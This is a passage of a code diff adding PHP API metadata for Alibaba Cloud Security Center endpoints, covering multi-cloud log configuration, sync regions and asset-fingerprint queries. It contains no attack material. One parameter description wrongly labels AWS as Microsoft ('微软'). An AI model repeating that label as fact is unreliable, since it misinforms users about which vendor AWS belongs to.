+ ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'AuthId', + 'in' => 'query', + 'schema' => [ + 'description' => 'AK唯一ID。'."\n" + ."\n" + .'> 您可以调用[DescribeCloudVendorAccountAKList](~~DescribeCloudVendorAccountAKList~~)获取AuthId。'."\n" + .'> -', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '2363', + ], + ], + [ + 'name' => 'Vendor', + 'in' => 'query', + 'schema' => [ + 'description' => '云资产厂商。取值：'."\n" + ."\n" + .'- **Tencent**：腾讯云'."\n" + .'- **AWS**：微软', + 'type' => 'string', + 'required' => true, + 'example' => 'Tencent', + ], + ], + [ + 'name' => 'AuthInfo', + 'in' => 'query', + 'schema' => [ + 'description' => '输入多云配置信息：'."\n" + .'- *AWS*: 入参 sqsQueueName、sqsRegion'."\n" + .'- *Tencent*: 入参 kafkaUserName、kafkaBootstrapServers、kafkaTopic', + 'type' => 'string', + 'required' => true, + 'example' => '{\\"sqsRegion\\":\\"us-west-2\\",\\"sqsQueueName\\":\\"****\\"}', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => '返回消息的数据结构。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7BC55C8F-226E-5AF5-9A2C-2EC43864****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7BC55C8F-226E-5AF5-9A2C-2EC43864****\\"\\n}","type":"json"}]', + 'title' => '增加第三方云资产审计日志接入配置', + ], + 'GetLocalDefaultRegion' => [ + 'summary' => '云外资产同步获取默认同步region。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '153432', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + ], + 'parameters' => [ + [ + 'name' => 'Vendor', + 'in' => 'query', + 'allowEmptyValue' => false, + 'schema' => [ + 'description' => '云资产厂商。取值：'."\n" + ."\n" + .'- **Tencent**：腾讯云'."\n" + .'- **HUAWEICLOUD**：华为云'."\n" + .'- **Azure**：Azure'."\n" + .'- **AWS**：AWS', + 'type' => 'string', + 'required' => false, + 'example' => 'Tencent', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => 'PlainResult', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => 'F6D23860-55C2-55AA-B484-****', + ], + 'Status' => [ + 'description' => '多云站点的接入类型。取值：'."\n" + .'- **0**：目前没有默认站点,可以正常勾选'."\n" + .'- **1**：当前站点已经是默认站点'."\n" + .'- **2**：另一个站点已经是设置为默认站点', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F6D23860-55C2-55AA-B484-****\\",\\n \\"Status\\": 1\\n}","type":"json"}]', + 'title' => '获取本地默认区域', + ], + 'SetSyncRefreshRegion' => [ + 'summary' => '设置资产刷新同步region列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '151329', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Vendor', + 'in' => 'query', + 'schema' => [ + 'description' => '云资产厂商。取值：'."\n" + ."\n" + .'- **Tencent**：腾讯云'."\n" + .'- **HUAWEICLOUD**：华为云'."\n" + .'- **Azure**：Azure'."\n" + .'- **AWS**：AWS', + 'type' => 'string', + 'required' => false, + 'example' => 'Tencent', + ], + ], + [ + 'name' => 'RegionIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '当前站点需要同步的region列表。', + 'type' => 'array', + 'items' => [ + 'description' => '当前站点需要同步的region。', + 'type' => 'string', + 'required' => false, + 'example' => 'eu-south-1', + ], + 'required' => false, + 'maxItems' => 200, + ], + ], + [ + 'name' => 'DefaultRegion', + 'in' => 'query', + 'schema' => [ + 'description' => '多云站点的接入类型。取值：'."\n" + .'- **0**：目前没有默认站点,可以正常勾选'."\n" + .'- **1**：当前站点已经是默认站点', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'BaseResult', + 'description' => 'BaseResult', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => '9BB78BC9-07B9-578B-B020-C954E6FC****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"9BB78BC9-07B9-578B-B020-C954E6FC****\\"\\n}","type":"json"}]', + 'title' => '设置资产刷新同步region列表', + ], + 'GetSupportedModules' => [ + 'summary' => '获取授权支持的模块列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasJODUMM', + ], + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'ListCheckResultResponse', + 'description' => 'ListCheckResultResponse', + 'type' => 'object', + 'properties' => [ + 'SupportedModuleResponse' => [ + 'description' => '当前厂商支持的模块信息按照厂商分类返回。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Vendor' => [ + 'description' => '云资产厂商。取值：'."\n" + ."\n" + .'- **Tencent**：腾讯云'."\n" + .'- **HUAWEICLOUD**：华为云'."\n" + .'- **Azure**：Azure'."\n" + .'- **AWS**：AWS', + 'type' => 'string', + 'example' => 'Tencent', + ], + 'SupportedModules' => [ + 'description' => '当前厂商支持的模块列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Module' => [ + 'description' => '模块Code。取值：'."\n" + .'- **HOST**：主机'."\n" + .'- **CSPM**：云产品配置检查'."\n" + .'- **SIEM**：CloudSiem'."\n" + .'- **TRIAL**：日志审计', + 'type' => 'string', + 'example' => 'HOST', + ], + 'ModuleDisp' => [ + 'description' => '模块显示名称。', + 'type' => 'string', + 'example' => '云产品配置检查', + ], + ], + ], + ], + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => 'C699E4E4-F2F4-58FC-A949-457FFE59****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"SupportedModuleResponse\\": [\\n {\\n \\"Vendor\\": \\"Tencent\\",\\n \\"SupportedModules\\": [\\n {\\n \\"Module\\": \\"HOST\\",\\n \\"ModuleDisp\\": \\"云产品配置检查\\"\\n }\\n ]\\n }\\n ],\\n \\"RequestId\\": \\"C699E4E4-F2F4-58FC-A949-457FFE59****\\"\\n}","type":"json"}]', + 'title' => '获取当前多云厂商支持的模块信息', + ], + 'DescribeAssetsScaProcessNum' => [ + 'summary' => '使用云安全中心资产指纹调查功能查询资产中存在的Java进程数量。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '225158', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + ], + 'parameters' => [ + [ + 'name' => 'UuidList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '服务器UUID集合。', + 'type' => 'array', + 'items' => [ + 'description' => '指定要查询的服务器UUID。'."\n" + .'> 您可以调用[DescribeCloudCenterInstances](~~141932~~)接口获取服务器的UUID。', + 'type' => 'string', + 'required' => false, + 'example' => '55bf7984-9b3b-4e8d-be8e-f3e5b0b4****', + ], + 'required' => true, + 'maxItems' => 100, + 'minItems' => 1, + ], + ], + [ + 'name' => 'BizType', + 'in' => 'query', + 'schema' => [ + 'description' => '应用进程类型，默认为java。取值：'."\n" + ."\n" + .'- **java**：java进程'."\n" + .'- **php**：php进程', + 'type' => 'string', + 'required' => false, + 'example' => 'java', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'ACF97412-FD09-4D1F-994F-34DF12BREF20', + ], + 'Data' => [ + 'description' => '统计结果集合。', + 'type' => 'array', + 'items' => [ + 'description' => '单个统计结果。', + 'type' => 'object', + 'properties' => [ + 'Uuid' => [ + 'description' => '资产实例的UUID。'."\n" + ."\n" + .'> 如果资产下无进程，则不返回该统计结果。', + 'type' => 'string', + 'example' => '6690a46c-0edb-4663-a641-3629d1a9****', + ], + 'Count' => [ + 'description' => '进程数量。'."\n" + ."\n" + .'> 如果资产下无进程，则不返回该统计结果。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParameter', + 'errorMessage' => 'Illegal parameter, please check the param.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"ACF97412-FD09-4D1F-994F-34DF12BREF20\\",\\n \\"Data\\": [\\n {\\n \\"Uuid\\": \\"6690a46c-0edb-4663-a641-3629d1a9****\\",\\n \\"Count\\": 2\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询资产指纹（默认Java）进程数量', + ], + 'DescribePropertyUsageTop' => [ + 'summary' => '使用资产指纹调查功能获取资产中出现次数TOP5的端口、进程、软件、账户或中间件统计信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92165', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + ], + 'parameters' => [ + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '资产指纹类型。取值：'."\n" + ."\n" + .'- **port**：端口'."\n" + .'- **process**：进程'."\n" + .'- **software**：软件'."\n" + .'- **user**：账户'."\n" + .'- **sca**：中间件', + 'type' => 'string', + 'required' => true, + 'example' => 'port', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '资产指纹类型。取值：'."\n" + ."\n" + .'- **port**：端口'."\n" + .'- **process**：进程'."\n" + .'- **software**：软件'."\n" + .'- **user**：账户'."\n" + .'- **sca**：中间件', + 'type' => 'string', + 'example' => 'sca', + ], + 'ItemCount' => [ + 'description' => '指纹数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '16AA5B62-A3C1-520B-B289-4BD971CC17AB', + ], + 'TopStatisticItems' => [ + 'description' => '统计结果集合。', + 'type' => 'array', + 'items' => [ + 'description' => '单个统计结果。', + 'type' => 'object', + 'properties' => [ + 'Name' => [ + 'description' => '统计项。', + 'type' => 'string', + 'example' => 'openssl', + ], + 'Count' => [ + 'description' => '数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Type\\": \\"sca\\",\\n \\"ItemCount\\": 5,\\n \\"RequestId\\": \\"16AA5B62-A3C1-520B-B289-4BD971CC17AB\\",\\n \\"TopStatisticItems\\": [\\n {\\n \\"Name\\": \\"openssl\\",\\n \\"Count\\": 1\\n }\\n ]\\n}","type":"json"}]', + 'title' => '根据类型统计资产指纹资数量', + 'description' => '仅支持云安全中心企业版或旗舰版用户调用该接口。', + ], + 'DescribePropertyScaProcessDetail' => [ + 'summary' => '查询云安全中心资产指纹调查功能在您资产中采集到的Java进程列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'none', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '223093', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + ], + 'parameters' => [ + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的资产信息，可以设置为资产名称、公网IP或私网IP（支持模糊查询）。', + 'type' => 'string', + 'required' => false, + 'example' => '10.167.XX.XX', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '服务器UUID。'."\n" + .'>- 调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取该参数。'."\n" + .'>- 只支持精确查询。', + 'type' => 'string', + 'required' => false, + 'example' => 'D0D6E6E4-CB8C-4897-B852-46AEFDA0****', + ], + ], + [ + 'name' => 'Pid', + 'in' => 'query', + 'schema' => [ + 'description' => '进程ID。'."\n" + .'> 只支持精确查询。', + 'type' => 'string', + 'required' => false, + 'example' => '756', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为10条，pagesize参数值为空时，将默认返回10条数据。'."\n" + .'>建议pagesize取值不要为空。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '10', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'Cmdline', + 'in' => 'query', + 'schema' => [ + 'description' => '启动参数。'."\n" + .'> 该参数只支持前缀查询，不支持模糊查询。', + 'type' => 'string', + 'required' => false, + 'example' => 'java -jar', + ], + ], + [ + 'name' => 'BizType', + 'in' => 'query', + 'schema' => [ + 'description' => '应用进程类型，默认为**java**。取值：'."\n" + ."\n" + .'- **java**：java进程'."\n" + .'- **php**：php进程', + 'type' => 'string', + 'required' => false, + 'example' => 'java', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'ADE57832-9666-511C-9A80-B87DE2E8****', + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的进程的数量。默认值为**10**。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'TotalCount' => [ + 'description' => '数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '69', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + ], + ], + 'Propertys' => [ + 'description' => '资产指纹进程的列表。', + 'type' => 'array', + 'items' => [ + 'description' => '查询到的进程详情。', + 'type' => 'object', + 'properties' => [ + 'InternetIp' => [ + 'description' => '服务器的公网IP地址。', + 'type' => 'string', + 'example' => '120.26.XX.XX', + ], + 'InstanceId' => [ + 'description' => '服务器的实例ID。', + 'type' => 'string', + 'example' => 'i-hp35tftuh52wbp1g****', + ], + 'Cmdline' => [ + 'description' => '进程命令行。', + 'type' => 'string', + 'example' => 'java -Xms128m -Xmx512m -DNACOS_URL=http://10.184.XX.XX:8848 -DNACOS_NAMESPACE=iam-sit -jar /opt/service/xxl-job/xxl-job-admin-2.3.0.jar', + ], + 'IntranetIp' => [ + 'description' => '服务器的私网IP地址。', + 'type' => 'string', + 'example' => '192.168.XX.XX', + ], + 'Name' => [ + 'description' => '进程的名称。', + 'type' => 'string', + 'example' => 'java', + ], + 'CreateTimestamp' => [ + 'description' => '资产指纹的最新扫描的时间戳。单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1597987834000', + ], + 'InstanceName' => [ + 'description' => '服务器实例的名称。', + 'type' => 'string', + 'example' => 'hc-host-****', + ], + 'Pid' => [ + 'description' => '进程ID。', + 'type' => 'string', + 'example' => '522', + ], + 'Uuid' => [ + 'description' => '服务器的UUID。', + 'type' => 'string', + 'example' => '162eb349-c2d9-4f8b-805c-75b43d4c****', + ], + 'Version' => [ + 'description' => 'web应用服务版本。', + 'type' => 'string', + 'example' => '3.10.0', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParameter', + 'errorMessage' => 'Illegal parameter, please check the param.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"ADE57832-9666-511C-9A80-B87DE2E8****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 10,\\n \\"TotalCount\\": 69,\\n \\"Count\\": 10\\n },\\n \\"Propertys\\": [\\n {\\n \\"InternetIp\\": \\"120.26.XX.XX\\",\\n \\"InstanceId\\": \\"i-hp35tftuh52wbp1g****\\",\\n \\"Cmdline\\": \\"java -Xms128m -Xmx512m -DNACOS_URL=http://10.184.XX.XX:8848 -DNACOS_NAMESPACE=iam-sit -jar /opt/service/xxl-job/xxl-job-admin-2.3.0.jar\\",\\n \\"IntranetIp\\": \\"192.168.XX.XX\\",\\n \\"Name\\": \\"java\\",\\n \\"CreateTimestamp\\": 1597987834000,\\n \\"InstanceName\\": \\"hc-host-****\\",\\n \\"Pid\\": \\"522\\",\\n \\"Uuid\\": \\"162eb349-c2d9-4f8b-805c-75b43d4c****\\",\\n \\"Version\\": \\"3.10.0\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询资产指纹采集到的Java进程列表', + ], + 'GetPropertyScheduleConfig' => [ + 'summary' => '查询资产指纹采集周期配置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '自动采集频率的资产指纹的类型。取值：'."\n" + ."\n" + .'- **scheduler\\_port_period**：监听端口'."\n" + .'- **scheduler\\_process_period**：运行进程'."\n" + .'- **scheduler\\_account_period**：账号资产'."\n" + .'- **scheduler\\_software_period**：软件资产'."\n" + .'- **scheduler\\_cron_period**：计划任务'."\n" + .'- **scheduler\\_sca_period**：中间件'."\n" + .'- **scheduler\\_autorun_period**：启动项'."\n" + .'- **scheduler\\_lkm_period**：内核模块'."\n" + .'- **scheduler\\_sca\\_proxy_period**：Web站点', + 'type' => 'string', + 'required' => false, + 'example' => 'scheduler_sca_period', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的服务器的UUID。'."\n" + .'>调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '50d213b4-3a35-427a-b8a5-04b0c7e1****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'B37C9052-A73E-4707-A024-92477028****', + ], + 'PropertyScheduleConfig' => [ + 'description' => '资产指纹采集周期配置信息。', + 'type' => 'object', + 'properties' => [ + 'ScheduleTime' => [ + 'description' => '资产指纹的采集频率。取值：'."\n" + ."\n" + .'- **0**：关闭，即不进行周期性的资产指纹自动采集'."\n" + .'- **1**：每1小时采集1次'."\n" + .'- **3**：每3小时采集1次'."\n" + .'- **12**：每12小时采集1次'."\n" + .'- **24**：每天采集1次'."\n" + .'- **168**：每7天采集1次', + 'type' => 'string', + 'example' => '3', + ], + 'Type' => [ + 'description' => '自动采集频率的资产指纹的类型。取值：'."\n" + ."\n" + .'- **scheduler\\_port_period**：监听端口'."\n" + .'- **scheduler\\_process_period**：运行进程'."\n" + .'- **scheduler\\_account_period**：账号资产'."\n" + .'- **scheduler\\_software_period**：软件资产'."\n" + .'- **scheduler\\_cron_period**：计划任务'."\n" + .'- **scheduler\\_sca_period**：中间件'."\n" + .'- **scheduler\\_autorun_period**：启动项'."\n" + .'- **scheduler\\_lkm_period**：内核模块'."\n" + .'- **scheduler\\_sca\\_proxy_period**：Web站点', + 'type' => 'string', + 'example' => 'scheduler_account_period', + ], + 'NextScheduleTime' => [ + 'description' => '预计下次资产指纹采集开始的时间戳，单位毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1671630647018', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"B37C9052-A73E-4707-A024-92477028****\\",\\n \\"PropertyScheduleConfig\\": {\\n \\"ScheduleTime\\": \\"3\\",\\n \\"Type\\": \\"scheduler_account_period\\",\\n \\"NextScheduleTime\\": 1671630647018\\n }\\n}","type":"json"}]', + 'title' => '查询资产指纹采集周期配置', + ], + 'GetAssetsPropertyItem' => [ + 'summary' => '查询资产指纹启动项、内核模块或者Web站点聚合列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- zh：中文'."\n" + .'- en：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'en', + ], + ], + [ + 'name' => 'ForceFlush', + 'in' => 'query', + 'schema' => [ + 'description' => '设置是否强制刷新待查询数据。取值：'."\n" + .'- **true**：强制刷新'."\n" + .'- **false**：不强制刷新', + 'type' => 'boolean', + 'required' => false, + 'example' => 'false', + ], + ], + [ + 'name' => 'Biz', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的资产指纹的类型，默认值为**sca**。取值：'."\n" + ."\n" + .'- **lkm**：内核模块'."\n" + .'- **autorun**：启动项'."\n" + .'- **web_server**：Web站点', + 'type' => 'string', + 'required' => true, + 'example' => 'lkm', + ], + ], + [ + 'name' => 'SearchItem', + 'in' => 'query', + 'schema' => [ + 'description' => '设置查询条件的类型，根据**Biz**参数设置不同的聚合搜索条件。取值：'."\n" + .'- **Biz**取值为**web_server**时，**SearchItem**支持的搜索条件如下：'."\n" + .' - **domain**：域名'."\n" + .'- **Biz**取值为**lkm**时，**SearchItem**支持的搜索条件如下：'."\n" + .' - **module_name**：模块名称'."\n" + .'- **Biz**取值为**autorun**时，**SearchItem**支持的搜索条件如下：'."\n" + .' - **path**：自启动项路径'."\n" + .'> **SearchItem**和**SearchInfo**这两个参数配合使用，通过同时设置这两个参数（设置一个无效），您可以按照资产指纹的名称查看指定名称资产指纹的所有数据。', + 'type' => 'string', + 'required' => false, + 'example' => 'path', + ], + ], + [ + 'name' => 'SearchInfo', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的内容。根据**SearchItem**取值的不同，您需要输入不同的查询内容：'."\n" + .'- **SearchItem**取值为**domain**时，您需要输入的查询条件为资产指纹的域名。'."\n" + .'- **SearchItem**取值为**module_name**时，您需要输入的查询条件为资产指纹的模块名称。'."\n" + .'- **SearchItem**取值为**path**时，您需要输入的查询条件为资产指纹的自启动项路径。'."\n" + ."\n" + .'> **SearchItem**和**SearchInfo**这两个参数配合使用，通过同时设置这两个参数（设置一个无效），您可以按照资产指纹的名称查看指定名称资产指纹的所有数据。', + 'type' => 'string', + 'required' => false, + 'example' => '/lib/systemd/s****', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'minimum' => '1', + 'example' => '1', + 'default' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'> 建议PageSize取值不要为空。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'maximum' => '1000', + 'minimum' => '1', + 'example' => '20', + 'default' => '20', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回参数。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '340D7FC4-D575-1661-8ACD-CFA7BE57****', + ], + 'PageInfo' => [ + 'description' => '分页查询时的页面信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的资产指纹聚合信息的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的资产指纹聚合信息的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '45', + ], + 'Count' => [ + 'description' => '当前页面显示的资产指纹聚合信息的数量。', + 'type' => 